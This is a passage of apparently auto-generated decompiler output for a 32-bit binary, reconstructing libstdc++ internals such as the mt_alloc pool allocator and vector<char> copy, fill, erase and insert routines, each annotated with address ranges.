__gnu_cxx____mt_alloc_base_lt_char_gt___destroy();
__gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator__(a1);
// continue -> 0x804e77a
}
// 0x804e7bf
return 0;
}
// Address range: 0x804e7c2 - 0x804e7f5
int32_t __gnu_cxx__operator__lt_char__ptr__comma__char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(int32_t * a1, int32_t * a2) {
int32_t v1 = __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___base(a1); // 0x804e7cf
int32_t v2 = __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___base(a2); // 0x804e7e1
return *(int32_t *)v1 - *(int32_t *)v2;
}
// Address range: 0x804ea06 - 0x804ea3f
int32_t __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_initialize_once(int32_t a1) {
char v1 = g41; // 0x804ea0c
int32_t v2 = v1 == 0; // 0x804ea16
g95 = v2;
int32_t result; // 0x804ea2e
if (v1 == 0 != false) {
// 0x804ea20
__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool();
result = _ZN9__gnu_cxx6__poolILb1EE18_M_initialize_onceEPFvvE(0x8132c20, (int32_t)__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_initialize);
g41 = 1;
// branch -> 0x804ea3d
} else {
result = v2;
}
// 0x804ea3d
return result;
}
// Address range: 0x804ea40 - 0x804ea73
int32_t __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator__65(int32_t * a1, int32_t ** a2, int32_t * a3) {
int32_t v1 = *(int32_t *)a2; // 0x804ea4d
int32_t v2 = *a3; // 0x804ea52
__gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(a1, (int32_t *)(v1 - v2));
return (int32_t)a1;
}
// Address range: 0x804ea76 - 0x804ea7f
int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___max_size(void) {
// 0x804ea76
return -1;
}
// Address range: 0x804ea80 - 0x804eaa7
int32_t std__max_lt_unsigned_int_gt_(int32_t * a1, int32_t * a2) {
// 0x804ea80
return (int32_t)(*a1 < *a2 ? a2 : a1);
}
// Address range: 0x804eaa8 - 0x804eac1
int32_t __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator__eq_(int32_t * a1, int32_t * a2) {
// 0x804eaa8
*a1 = *a2 + *a1;
return (int32_t)a1;
}
// Address range: 0x804eac2 - 0x804eacb
int32_t __gnu_cxx____mt_alloc_base_lt_char_gt___max_size(void) {
// 0x804eac2
return -1;
}
// Address range: 0x804eacc - 0x804ec09
int32_t __gnu_cxx____mt_alloc_lt_char_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(int32_t * a1, int32_t * a2) {
// 0x804eaf8
__gnu_cxx____mt_alloc_base_lt_char_gt___max_size();
int32_t v1 = (int32_t)a2; // 0x804eae1
int32_t v2;
__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_initialize_once(v2);
__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool();
int32_t result;
if (__gnu_cxx____pool_base___M_check_threshold((int32_t *)0x8132c20, a2) != 0) {
// 0x804eb21
int32_t * v3;
result = _Znwj(v1, v1, (int32_t)v3);
// branch -> 0x804ec04
// 0x804ec04
return result;
}
int32_t v4 = __gnu_cxx____pool_base___M_get_binmap((int32_t *)0x8132c20, a2); // 0x804eb47
int32_t v5 = __gnu_cxx____pool_lt_true_gt____M_get_thread_id((int32_t *)0x8132c20); // 0x804eb58
int32_t ** v6 = (int32_t **)__gnu_cxx____pool_lt_true_gt____M_get_bin((int32_t *)0x8132c20, (int32_t *)v4); // 0x804eb6c_4
int32_t * v7 = *v6; // 0x804eb85
if (((int32_t)(v7 == NULL) || (int32_t)v7 & -256) == 1) {
// 0x804ebe7
result = __gnu_cxx____pool_lt_true_gt____M_reserve_block((struct struct_88 *)0x8132c20, v1, v5);
// branch -> 0x804ec04
} else {
int32_t * v8 = *v6; // 0x804eb9e
*v6 = (int32_t *)*v8;
__gnu_cxx____pool_lt_true_gt____M_adjust_freelist((int32_t *)0x8132c20, *v6, v8);
int32_t v9 = __gnu_cxx____pool_base___M_get_align((int32_t *)0x8132c20); // 0x804ebd2
g97 = v9;
result = v9 + (int32_t)v8;
// branch -> 0x804ec04
}
// 0x804ec04
return result;
}
// Address range: 0x804ec0a - 0x804ec25
int32_t std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt____M_allocate(int32_t * a1, int32_t * a2) {
// 0x804ec0a
return __gnu_cxx____mt_alloc_lt_char_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(a1, a2);
}
// Address range: 0x804ec26 - 0x804ec9b
int32_t std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt__66(struct struct_3 * a1, int32_t * a2, int32_t * a3) {
// 0x804ec26
std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt____Vector_impl_16(a1, (int32_t)a3);
a1->e0 = std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt____M_allocate(&a1->e0, a2);
a1->e1 = a1->e0;
int32_t result = (int32_t)a1; // 0x804ec62
*(int32_t *)(result + 8) = a1->e0 + (int32_t)a2;
return result;
}
// Address range: 0x804ec9c - 0x804ecd1
int32_t std____copy_lt_true_comma__std__random_access_iterator_tag_gt___copy_lt_char_gt_(int32_t * a1, int32_t * a2, int32_t * a3) {
int32_t v1 = (int32_t)a2 - (int32_t)a1; // 0x804ecaa
memmove(a3, a1, v1);
g95 = v1;
return v1 + (int32_t)a3;
}
// Address range: 0x804fa1a - 0x804fa39
void std____copy_aux_lt_char__ptr__comma__char__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3) {
// 0x804fa1a
std____copy_lt_true_comma__std__random_access_iterator_tag_gt___copy_lt_char_gt_(a1, a2, a3);
}
// Address range: 0x804fa3a - 0x804faa3
int32_t std____copy_normal_lt_true_comma__true_gt___copy_n_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___gt_(int32_t * a1, int32_t * a2) {
int32_t result = (int32_t)a1;
int32_t * v1;
__gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___base(v1);
int32_t * v2;
int32_t v3 = (int32_t)v2; // 0x804fa55
int32_t * v4;
__gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___base(v4);
__gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___base(a2);
std____copy_aux_lt_char__ptr__comma__char__ptr__gt_(v2, (int32_t *)v3, (int32_t *)v3);
__gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_((int32_t *)result, (int32_t *)g95);
return result;
}
// Address range: 0x804faa6 - 0x804fae1
int32_t std__copy_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4) {
int32_t v1 = g101; // 0x804faa9
g101 = (int32_t)a1;
int32_t * v2;
std____copy_normal_lt_true_comma__true_gt___copy_n_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___gt_(v2, a2);
*(int32_t *)g101 = (int32_t)v2;
int32_t result = g101; // 0x804fad6
g101 = v1;
return result;
}
// Address range: 0x804fae2 - 0x804fba5
int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___erase(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4) {
// 0x804fae2
g98 = (int32_t)a1;
int32_t v1 = (int32_t)a3; // 0x804faed
g101 = v1;
int32_t v2 = (int32_t)a2; // 0x804fafa
int32_t * v3;
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___end_18(v3, v2);
int32_t ** v4;
std__copy_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___gt_(v4, a4, v3, (int32_t *)g101);
int32_t v5;
std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt___get_allocator(v5, a2);
int32_t * v6;
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___end_18(v6, v2);
std___Destroy_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__std__allocator_lt_char_gt___gt_((int32_t *)v4);
std__allocator_lt_char_gt_();
int32_t * v7 = (int32_t *)(v2 + 4); // 0x804fb75_0
int32_t v8 = __gnu_cxx__operator__lt_char__ptr__comma__char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(a4, a3); // 0x804fb83
*v7 = *v7 - v8;
*(int32_t *)g98 = v1;
return g98;
}
// Address range: 0x804fba6 - 0x804fbf3
int32_t std____fill_lt_true_gt___fill_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char_gt_(int32_t * a1) {
// 0x804fba6
int32_t * v1;
if (__gnu_cxx__operator_not__eq__lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(a1, v1) == 0) {
// 0x804fbf2
return 0;
}
__gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator_ptr_(a1);
__gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator__(a1);
while (__gnu_cxx__operator_not__eq__lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(a1, v1) != 0) {
// 0x804fbb6
__gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator_ptr_(a1);
__gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator__(a1);
// continue -> 0x804fbb6
}
// 0x804fbf2
return 0;
}
// Address range: 0x804fbf4 - 0x804fc15
int32_t std__fill_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char_gt_(int32_t * a1, struct struct_6 * a2, char * a3) {
// 0x804fbf4
std____fill_lt_true_gt___fill_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char_gt_(a1);
return 0;
}
// Address range: 0x805106c - 0x8051089
void __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_initialize(void) {
// 0x805106c
__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool();
abort();
// UNREACHABLE
}
// Address range: 0x805108a - 0x80510bd
int32_t std____uninitialized_copy_aux_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4) {
int32_t v1 = g101; // 0x805108d
g101 = (int32_t)a1;
int32_t ** v2;
std__copy_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___gt_(v2, a2, a3, a4);
*(int32_t *)g101 = (int32_t)v2;
int32_t result = g101; // 0x80510b2
g101 = v1;
return result;
}
// Address range: 0x80510be - 0x8051101
int32_t std__uninitialized_copy_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4) {
int32_t v1 = g101; // 0x80510c1
g101 = (int32_t)a1;
int32_t ** v2;
std____uninitialized_copy_aux_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___gt_(v2, a2, a3, a4);
*(int32_t *)g101 = (int32_t)v2;
int32_t result = g101; // 0x80510f6
g101 = v1;
return result;
}
// Address range: 0x8051102 - 0x8051135
int32_t std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char_gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4) {
int32_t v1 = g101; // 0x8051105
g101 = (int32_t)a1;
int32_t ** v2;
std__uninitialized_copy_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___gt_(v2, a2, a3, a4);
*(int32_t *)g101 = (int32_t)v2;
int32_t result = g101; // 0x805112a
g101 = v1;
return result;
}
// Address range: 0x8051152 - 0x805118f
int32_t std____copy_backward_lt_true_comma__std__random_access_iterator_tag_gt___copy_b_lt_char_gt_(int32_t * a1, int32_t * a2, int32_t * a3) {
int32_t v1 = (int32_t)a2 - (int32_t)a1; // 0x8051160
int32_t v2 = (int32_t)a3; // 0x805116f
int32_t result = v2 - v1; // 0x8051172
memmove((int32_t *)result, a1, v1);
g95 = v2;
return result;
}
// Address range: 0x8051190 - 0x80511af
void std____copy_backward_aux_lt_char__ptr__comma__char__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3) {
// 0x8051190
std____copy_backward_lt_true_comma__std__random_access_iterator_tag_gt___copy_b_lt_char_gt_(a1, a2, a3);
}
// Address range: 0x80511b0 - 0x8051219
int32_t std____copy_backward_normal_lt_true_comma__true_gt___copy_b_n_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___gt_(int32_t * a1, int32_t * a2) {
int32_t result = (int32_t)a1;
int32_t * v1;
__gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___base(v1);
int32_t * v2;
int32_t v3 = (int32_t)v2; // 0x80511cb
int32_t * v4;
__gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___base(v4);
__gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___base(a2);
std____copy_backward_aux_lt_char__ptr__comma__char__ptr__gt_(v2, (int32_t *)v3, (int32_t *)v3);
__gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_((int32_t *)result, (int32_t *)g95);
return result;
}
// Address range: 0x805121c - 0x8051257
int32_t std__copy_backward_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4) {
// 0x805121c
g101 = (int32_t)a1;
int32_t * v1;
std____copy_backward_normal_lt_true_comma__true_gt___copy_b_n_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___gt_(v1, a2);
*(int32_t *)g101 = (int32_t)v1;
return g101;
}
// Address range: 0x8051258 - 0x805127d
int32_t std__fill_n_lt_unsigned_int_gt_(int32_t * a1, int32_t * a2, char * a3) {
int32_t result = (int32_t)a2 + (int32_t)a1; // 0x8051261
std__fill(a1, (int32_t *)result, a3);
return result;
}
// Address range: 0x805127e - 0x8051299
void std____uninitialized_fill_n_aux_lt_char__ptr__comma__unsigned_int_comma__char_gt_(int32_t * a1, int32_t * a2, char * a3) {
// 0x805127e
std__fill_n_lt_unsigned_int_gt_(a1, a2, a3);
}
// Address range: 0x805129a - 0x80512bb
int32_t std__uninitialized_fill_n_lt_char__ptr__comma__unsigned_int_comma__char_gt_(int32_t * a1, int32_t * a2, char * a3) {
// 0x805129a
std____uninitialized_fill_n_aux_lt_char__ptr__comma__unsigned_int_comma__char_gt_(a1, a2, a3);
unsigned char v1;
return g95 & -256 | (int32_t)v1;
}
// Address range: 0x80512bc - 0x80512d7
void std____uninitialized_fill_n_a_lt_char__ptr__comma__unsigned_int_comma__char_comma__char_gt_(int32_t * a1, int32_t * a2, char * a3) {
// 0x80512bc
std__uninitialized_fill_n_lt_char__ptr__comma__unsigned_int_comma__char_gt_(a1, a2, a3);
}
// Address range: 0x80520aa - 0x80520c5
void std____copy_normal_lt_false_comma__false_gt___copy_n_lt_char__ptr__comma__char__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3) {
// 0x80520aa
std____copy_aux_lt_char__ptr__comma__char__ptr__gt_(a1, a2, a3);
}
// Address range: 0x80520c6 - 0x80520e9
void std__copy_lt_char__ptr__comma__char__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3) {
// 0x80520c6
std____copy_normal_lt_false_comma__false_gt___copy_n_lt_char__ptr__comma__char__ptr__gt_(a1, a2, a3);
}
// Address range: 0x80520ea - 0x8052105
void std____uninitialized_copy_aux_lt_char__ptr__comma__char__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3) {
// 0x80520ea
std__copy_lt_char__ptr__comma__char__ptr__gt_(a1, a2, a3);
}
// Address range: 0x8052106 - 0x8052127
int32_t std__uninitialized_copy_lt_char__ptr__comma__char__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3) {
// 0x8052106
std____uninitialized_copy_aux_lt_char__ptr__comma__char__ptr__gt_(a1, a2, a3);
unsigned char v1;
return g95 & -256 | (int32_t)v1;
}
// Address range: 0x8052128 - 0x8052143
void std____uninitialized_copy_a_lt_char__ptr__comma__char__ptr__comma__char_gt_(int32_t * a1, int32_t * a2, int32_t * a3) {
// 0x8052128
std__uninitialized_copy_lt_char__ptr__comma__char__ptr__gt_(a1, a2, a3);
}
// Address range: 0x8052144 - 0x8052181
int32_t std____copy_normal_lt_true_comma__false_gt___copy_n_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char__ptr__gt_(int32_t * a1, int32_t * a2) {
// 0x8052144
__gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___base(a2);
int32_t * v1;
int32_t result = (int32_t)v1; // 0x805215a
__gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___base(a1);
int32_t * v2;
std____copy_aux_lt_char__ptr__comma__char__ptr__gt_(v1, (int32_t *)result, v2);
return result;
}
// Address range: 0x8052182 - 0x80521a7
int32_t std__copy_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3) {
// 0x8052182
return std____copy_normal_lt_true_comma__false_gt___copy_n_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char__ptr__gt_(a1, a2);
}
// Address range: 0x80521a8 - 0x80521c5
int32_t std____uninitialized_copy_aux_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3) {
// 0x80521a8
return std__copy_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char__ptr__gt_(a1, a2, a3);
}
// Address range: 0x80521c6 - 0x80521e9
int32_t std__uninitialized_copy_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3) {
// 0x80521c6
return std____uninitialized_copy_aux_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char__ptr__gt_(a1, a2, a3);
}
// Address range: 0x80521ea - 0x8052207
int32_t std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char__ptr__comma__char_gt_(int32_t * a1, int32_t * a2, int32_t * a3) {
// 0x80521ea
return std__uninitialized_copy_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char__ptr__gt_(a1, a2, a3);
}
// Address range: 0x8052208 - 0x8052257
int32_t std____fill_n_lt_true_gt___fill_n_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__unsigned_int_comma__char_gt_(int32_t ** a1, int32_t * a2, int32_t * a3, char * a4) {
// 0x8052208
if (a3 == NULL) {
// 0x8052248
*a1 = a2;
return (int32_t)a1;
}
__gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator_ptr_(a2);
int32_t v1 = (int32_t)a3 - 1; // 0x8052231
__gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator__(a2);
while (v1 != 0) {
// 0x8052218
__gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator_ptr_(a2);
v1 = (int32_t)(int32_t *)v1 - 1;
__gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator__(a2);
// continue -> 0x8052218
}
// 0x8052248
*a1 = a2;
return (int32_t)a1;
}
// Address range: 0x8052258 - 0x8052287
int32_t std__fill_n_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__unsigned_int_comma__char_gt_(int32_t ** a1, int32_t * a2, int32_t * a3, char * a4) {
int32_t result = (int32_t)a1;
int32_t ** v1;
std____fill_n_lt_true_gt___fill_n_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__unsigned_int_comma__char_gt_(v1, a2, a3, a4);
*(int32_t *)result = (int32_t)v1;
return result;
}
// Address range: 0x805228a - 0x80522a7
int32_t std____uninitialized_fill_n_aux_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__unsigned_int_comma__char_gt_(int32_t * a1, int32_t * a2, char * a3) {
// 0x805228a
int32_t ** v1;
return std__fill_n_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__unsigned_int_comma__char_gt_(v1, a1, a2, a3);
}
// Address range: 0x80522a8 - 0x80522c9
int32_t std__uninitialized_fill_n_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__unsigned_int_comma__char_gt_(int32_t * a1, int32_t * a2, char * a3) {
// 0x80522a8
return std____uninitialized_fill_n_aux_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__unsigned_int_comma__char_gt_(a1, a2, a3);
}
// Address range: 0x80522ca - 0x80522e7
int32_t std____uninitialized_fill_n_a_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__unsigned_int_comma__char_comma__char_gt_(int32_t * a1, int32_t * a2, char * a3) {
// 0x80522ca
return std__uninitialized_fill_n_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__unsigned_int_comma__char_gt_(a1, a2, a3);
}
// Address range: 0x80522e8 - 0x805277b
int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt____M_fill_insert(struct struct_12 * a1, int32_t * a2, int32_t * a3, char * a4) {
int32_t v1 = (int32_t)a3; // 0x80522f3
if (a3 == NULL) {
// 0x8052775
return 0;
}
int32_t v2 = (int32_t)a1->e2 - (int32_t)a1->e1; // 0x805230b
g96 = v2;
if (v2 >= v1) {
char * v3 = (char *)(int32_t)*a4; // 0x8052321_0
int32_t * v4;
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___end_18(v4, (int32_t)a1);
int32_t v5 = __gnu_cxx__operator__lt_char__ptr__comma__char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(v4, a2); // 0x8052347
int32_t * v6;
__gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(v6, (int32_t *)((int32_t)a1 + 4));
if ((int32_t *)v5 > a3) {
// 0x8052374
int32_t v7;
std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt___get_allocator(v7, (int32_t *)a1);
int32_t * v8 = a1->e1; // 0x805238a
int32_t * v9 = a1->e1; // 0x8052390
int32_t * v10 = a1->e1; // 0x8052396
g95 = v1;
std____uninitialized_copy_a_lt_char__ptr__comma__char__ptr__comma__char_gt_((int32_t *)((int32_t)v10 - v1), v9, v8);
std__allocator_lt_char_gt_();
a1->e1 = (int32_t *)((int32_t)a1->e1 + v1);
g98 = (int32_t)v6;
int32_t * v11;
__gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator__65(v11, (int32_t **)v6, a3);
int32_t ** v12;
std__copy_backward_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___gt_(v12, a2, v11, (int32_t *)g98);
int32_t * v13;
__gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator_(v13, a2, a3);
std__fill_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char_gt_(a2, (struct struct_6 *)v13, v3);
// branch -> 0x8052775
} else {
// 0x8052445
int32_t v14;
std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt___get_allocator(v14, (int32_t *)a1);
int32_t v15 = v1 - v5; // 0x805245d
g95 = (int32_t)a1;
int32_t * v16 = a1->e1; // 0x8052463
std____uninitialized_fill_n_a_lt_char__ptr__comma__unsigned_int_comma__char_comma__char_gt_(v16, (int32_t *)v15, v3);
std__allocator_lt_char_gt_();
a1->e1 = (int32_t *)((int32_t)a1->e1 + v15);
int32_t v17;
std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt___get_allocator(v17, (int32_t *)a1);
int32_t * v18 = a1->e1; // 0x80524b1
g96 = (int32_t)v6;
g98 = (int32_t)a2;
std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char__ptr__comma__char_gt_(a2, v6, v18);
std__allocator_lt_char_gt_();
a1->e1 = (int32_t *)((int32_t)a1->e1 + v5);
